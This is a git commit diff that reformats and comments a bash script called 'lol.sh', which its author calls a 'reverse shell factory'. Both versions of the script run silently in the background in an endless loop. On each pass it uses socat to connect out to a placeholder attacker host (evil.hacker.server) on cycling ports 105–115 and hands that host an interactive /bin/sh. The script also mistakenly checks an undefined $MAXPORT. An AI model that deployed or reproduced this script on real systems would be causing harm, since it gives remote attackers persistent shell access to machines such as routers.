Update 'lol.sh'

i have no idea why i'm doing this i could have made like an actual script with the amount of time i've spent making a git and writing comments - i hope this helps some aspiring computer wizard

lol.sh

@@ -1,28 +1,28 @@
-# idk man it like runs in the background and
-# like pops shells or some shit
-# and cycles up through ports
+######Config####				#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
+STARTPORT=105					# ->BABBYS FIRST REVERSE SHELL FACTORY<- #
+ENDPORT=115						#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
+TIMEOUT=90						# +RUNS ON YOUR GRANDMAS BLENDER		 #
+HOST=evil.hacker.server 		# +HACKS YOUR EXES FACEBOOK              #
+################				# +MAKES YOU THE LEADER OF ANONYMOUS     #
+								##########################################
 
-# it works on like routers or whatever
-# you need socat and stuff
-
-######Config####
-STARTPORT=105
-ENDPORT=115
-TIMEOUT=90
-HOST=evil.hacker.server
-################
-PORT=$STARTPORT
-while true;
+PORT=$STARTPORT										# initialize port cycling variable
+while true;	
 do
-        find /tmp/ -iname "*.prt" -exec rm {} \;
-        if [[ $PORT != $MAXPORT ]]
-        then
-                PORT=$((PORT+1))
-        else
-                PORT=$STARTPORT
-        fi
-        touch /tmp/a${PORT}.prt
-        sleep 8
-        /tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stderr,setsid,sigint,sane;
-done &>/dev/null&
+        find /tmp/ -iname "*.prt" -exec rm {} \; 	# clean up old any old files we left
 
+        if [[ $PORT != $MAXPORT ]] then 		    # ratchet destination ports when socat times out
+			PORT=$((PORT+1)) else				    # or when you smash CTRL+C on a tty b/c computers are hard
+			PORT=$STARTPORT 						# once we hit $ENDPORT we reset to $STARTPORT
+		fi
+
+        touch /tmp/a${PORT}.prt						# provide a simple simple and generic status/port indicator
+        sleep 8										# '-> NOTE: made sense at the time but is probably a bad idea
+													############################################################
+
+                                                    
+        /tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} \ # why socat? binaries for everything, 0 overhead
+				 exec:/bin/sh,pty,stderr,setsid,sigint,sane;   # easier to acquire a pty (if env allows) vs nc
+
+
+done &>/dev/null&											   # suppress all console output and run in the background